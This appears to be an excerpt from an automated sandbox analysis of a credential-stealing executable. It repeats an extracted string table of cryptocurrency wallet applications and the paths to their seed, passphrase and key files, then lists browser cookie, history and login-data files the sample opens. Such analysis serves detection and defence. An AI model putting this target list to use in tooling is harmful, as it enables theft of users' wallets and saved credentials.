Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
